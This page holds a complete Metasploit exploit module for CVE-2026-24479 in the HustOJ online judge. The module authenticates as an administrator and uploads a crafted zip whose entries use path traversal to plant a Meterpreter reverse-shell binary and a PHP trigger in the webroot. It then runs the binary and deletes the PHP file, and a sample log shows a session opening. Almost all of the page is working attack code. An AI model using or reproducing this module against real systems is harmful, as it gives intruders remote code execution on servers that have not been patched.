Home HustOJ problem-import-qduoj RCE
Page

HustOJ problem-import-qduoj RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
#  Patch:
#        $file_name = $path.zip_entry_name($dir_resource);
#        $file_name=str_replace('../', '', $file_name);
#        $file_path = substr($file_name,0,strrpos($file_name, "/"));
#
# msf exploit(local/test/hustoj_problem_import_rce) > exploit
# [*] Started reverse TCP handler on 10.0.1.14:4444
# [*] Generating payload...
# [+] Payload generated!
# [+] Zip file generated!
# [+] Logged in successfully!
# [*] Uploading the payload...
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 23 opened (10.0.1.14:4444 -> 10.0.1.25:57412) at 2026-02-09 14:24:36 -0500
# [*] Twittle dee twittle dum, exploits a-workin, and we's bout to get us sum...
#
# meterpreter >
#

require 'msf/core'
require 'nokogiri'
require 'digest/md5'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'An autheticated administrative user can upload a crafted zip file to drop a CGI shell in the webserver root to acheive RCE',
                      'Description' => 'A user with administrative priveleges can abuse the problem_import_qduoj.php CGI script in' \
                                                       'a way, using a crafted zip file ah-la zip-slip to traverse backwards through the' \
                                                       'filesystem to the webroot, where they can extract a php file containing a shell' \
                                                       'to get full RCE in the context of the webserver',
                      'Author' => [
                        'Marshall Whittaker', # exploit author
                        'LoTuS and friends',  # vuln software manual translation, thank you both, and god for bong rips.
                        'ling101w'            # vuln reporter
                      ],
                      'License' => MSF_LICENSE,
                      'ARCH' => [ARCH_X86],
                      'References' => [
                        ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits/CVE-2026-24479/hustoj_problem_import_rce.rb'],
                        ['URL', 'https://oxasploits.com/exploits/cve-2026-24479-hustoj-problem-import-rce.rb/'],
                        ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d4236899314b33101f'],
                        ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
                        ['CVE', '2026-24479'],
                        ['CWE', '22']
                      ],
                      'Platform' => 'linux',
                      'Targets' => [
                        ['HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
                         { 'Privileged' => false }]
                      ],
                      'DefaultOptions' => {
                        'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' # lets use a x86 meterpreter rev (others may work)
                      },
                      'Notes' => {
                        'Stability' => [CRASH_SAFE],
                        'Reliability' => [REPEATABLE_SESSION],
                        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                      },
                      'DisclosureDate' => '2026-01-26',
                      'DefaultTarget' => 0))
    register_options(
      [
        Opt::RPORT(80),
        Opt::LPORT(4444),
        OptString.new('RHOST', [true, "The target machine's IP", '']),
        OptString.new('LHOST', [true, "This machine's IP", '']),
        OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
        OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
        OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2])
      ], self.class
    )
    register_advanced_options([
                                OptBool.new('HANDLER',
                                            [true, 'Start an exploit/multi/handler job to receive the connection',
                                             true])
                              ])
    deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
  end

  def check
    res = send_request_cgi(
      'uri' => '/include/reinfo.js',
      'method' => 'GET',
      'ctype' => 'application/javascript'
    )
    return Exploit::CheckCode::Unknown if res.nil?
    return Exploit::CheckCode::Appears if res.code != 200
    return Exploit::CheckCode::Detected if res.code == 200 && res.body.include?('function escapeHtml(str) {')
    return Exploit::CheckCode::Vulnerable if res.code == 200 && res.body.include?('function escapeHtml(str) {') == false

    Exploit::CheckCode::Safe
  end

  def login(user, pass)
    res = send_request_cgi({
                             'uri' => '/',
                             'method' => 'GET',
                             'keep_cookies' => true,
                             'ctype' => 'text/html'
                           }, 3)
    if res and res.code == 200
      print_good('Connected to the target webserver!')
    else
      fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
    end
    $cook = res.get_cookies
    send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => $cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    send_request_cgi(
      'uri' => '/loginpage.php',
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    res = send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => $cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    doc = Nokogiri::HTML(res.body)
    $csrf = doc.css('input[name="csrf"]').first['value']
    res = send_request_cgi(
      'method' => 'POST',
      'cache-control' => 'max-age=0',
      'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
      'upgrade-insecure-requests' => '1',
      'uri' => '/login.php',
      'cookies' => $cook,
      'keep_cookies' => true,
      'origin' => "#{datastore['RHOST']}",
      'referer' => "#{datastore['RHOST']}/loginpage.php",
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'user_id' => user,
        'password' => Digest::MD5.hexdigest(pass),
        'csrf' => $csrf
      }
    )
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/',
      'cookies' => $cook,
      'keep_cookies' => true,
      'referer' => "#{datastore['RHOST']}/login.php"
    )
    if res and res.code == 200
      print_good('Logged in successfully!')
    else
      fail_with(Failure::BadConfig, 'Failed to log in! Check your credentials and try again!')
    end
  end

  def upload_payload(zip_dat)
    print_status('Uploading the payload...')
    res = send_request_cgi(
      'method' => 'GET',
      'cache-control' => 'max-age=0',
      'upgrade-insecure-requests' => '1',
      'cookies' => $cook,
      'keep_cookies' => true,
      'origin' => "#{datastore['RHOST']}",
      'referer' => "#{datastore['RHOST']}/admin/",
      'uri' => '/admin/problem_import.php',
      'ctype' => 'text/html'
    )
    doc = Nokogiri::HTML(res.body)
    pkey = doc.css('input[name="postkey"]').first['value']
    print_error('Failed to retrieve the postkey!') if pkey.nil? || pkey == ''
    res = send_request_cgi(
      'method' => 'GET',
      'cache-control' => 'max-age=0',
      'upgrade-insecure-requests' => '1',
      'uri' => '/csrf.php',
      'cookies' => $cook,
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    doc = Nokogiri::HTML(res.body)
    $csrf = doc.css('input[name="csrf"]').first['value']
    if $csrf.nil? || $csrf == ''
      fail_with(Failure::UnexpectedReply,
                'Failed to retrieve the csrf token! Is this HUSTOJ?')
    end
    res = send_request_cgi(
      'method' => 'POST',
      'cache-control' => 'max-age=0',
      'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
      'upgrade-insecure-requests' => '1',
      'uri' => '/admin/problem_import_qduoj.php',
      'cookies' => $cook,
      'keep_cookies' => true,
      'origin' => "#{datastore['RHOST']}",
      'referer' => "#{datastore['RHOST']}/admin/problem_import.php",
      'ctype' => 'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW',
      'data' => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"fps\"; filename=\"metasploit.zip\"\r\nContent-Type: application/zip\r\n\r\n#{zip_dat}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=postkey\r\n\r\n#{pkey}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n"
    )
    if res.code == 200
      print_good('Payload uploaded!...')
    else
      print_error('Failed to upload the payload, trying again for a different revision...')
      res = send_request_cgi(
        'method' => 'POST',
        'cache-control' => 'max-age=0',
        'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'upgrade-insecure-requests' => '1',
        'uri' => '/admin/problem_import_qduoj.php',
        'cookies' => $cook,
        'keep_cookies' => true,
        'origin' => "#{datastore['RHOST']}",
        'referer' => "#{datastore['RHOST']}/admin/problem_import.php",
        'ctype' => 'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW',
        'data' => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"fps\"; filename=\"metasploit.zip\"\r\nContent-Type: application/zip\r\n\r\n#{zip_dat}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\n"
      )
      if res.code == 200
        print_good('Payload uploaded!...')
      else
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
      end
    end
    print_status('Waiting on files to be extracted serverside...')
    print_status('This is where the zipslip happens...')
  end

  def trigger_sploit
    print_status('Triggering the php script...')
    print_good('Twittle dee twittle dum, exploits a-workin, and we\'s bout to get us sum...')
    send_request_raw({
                       'uri' => '/metasploit.php',
                       'ctype' => 'text/html',
                       'method' => 'GET'
                     }, datastore['TRIGGER_WAIT'])
    sleep(1)
    print_status('Running cleanup script to remove php file...')
  end

  def exploit
    dummy_json = '{"judgeMode":"default","languages":["Python3"],"samples":[{"input":"1.in","output":"1.out"},{"input":"2.in","output":"2.out"}],"tags":["blah"],"problem":{"auth":1,"author":"admin","isRemote":false,"problemId":"HOJ-1010","description":"","source":"","title":"","type":0,"timeLimit":1000,"memoryLimit":256,"input":"","output":"","difficulty":0,"examples":"","ioScore":100,"codeShare":true,"hint":"","isRemoveEndBlank":true,"openCaseResult":true,"judgeCaseMode":"default","isFileIO":false,"ioReadFileName":null,"ioWriteFileName":null},"codeTemplates":[{"code":"","language":"C"},{"code":"","language":"C++"}],"userExtraFile":{"testlib.h":"code","stdio.h":"..."},"judgeExtraFile":{"testlib.h":"code","stdio.h":"..."}}'
    pay = framework.modules.create(datastore['payload'])
    pay.datastore['LHOST'] = datastore['LHOST']
    pay.datastore['RHOST'] = datastore['RHOST']
    pay.datastore['LPORT'] = datastore['LPORT']
    shell_gend = pay.generate_simple({ 'Format' => 'elf' })
    fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?') if shell_gend == ''
    print_good('Payload generated!')
    shell_caller = "<?php chmod('/tmp/shell', 0700); system('/tmp/shell'); sleep(3); system('rm -f /home/judge/src/web/metasploit.php'); ?>"
    files = [
      { data: shell_gend, fname: '../../../../../../tmp/shell' },
      { data: shell_caller, fname: '../../../../../../home/judge/src/web/metasploit.php' },
      { data: dummy_json, fname: 'problem_1010.json' },
      { data: 'junk', fname: 'problem_1010/1.in' },
      { data: 'junk', fname: 'problem_1010/1.out' }
    ]
    zip_dat = Msf::Util::EXE.to_zip(files)
    fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat == ''
    print_good('Zip file generated!')
    login(datastore['USERNAME'], datastore['PASSWORD'])
    upload_payload(zip_dat)
    trigger_sploit
  end
end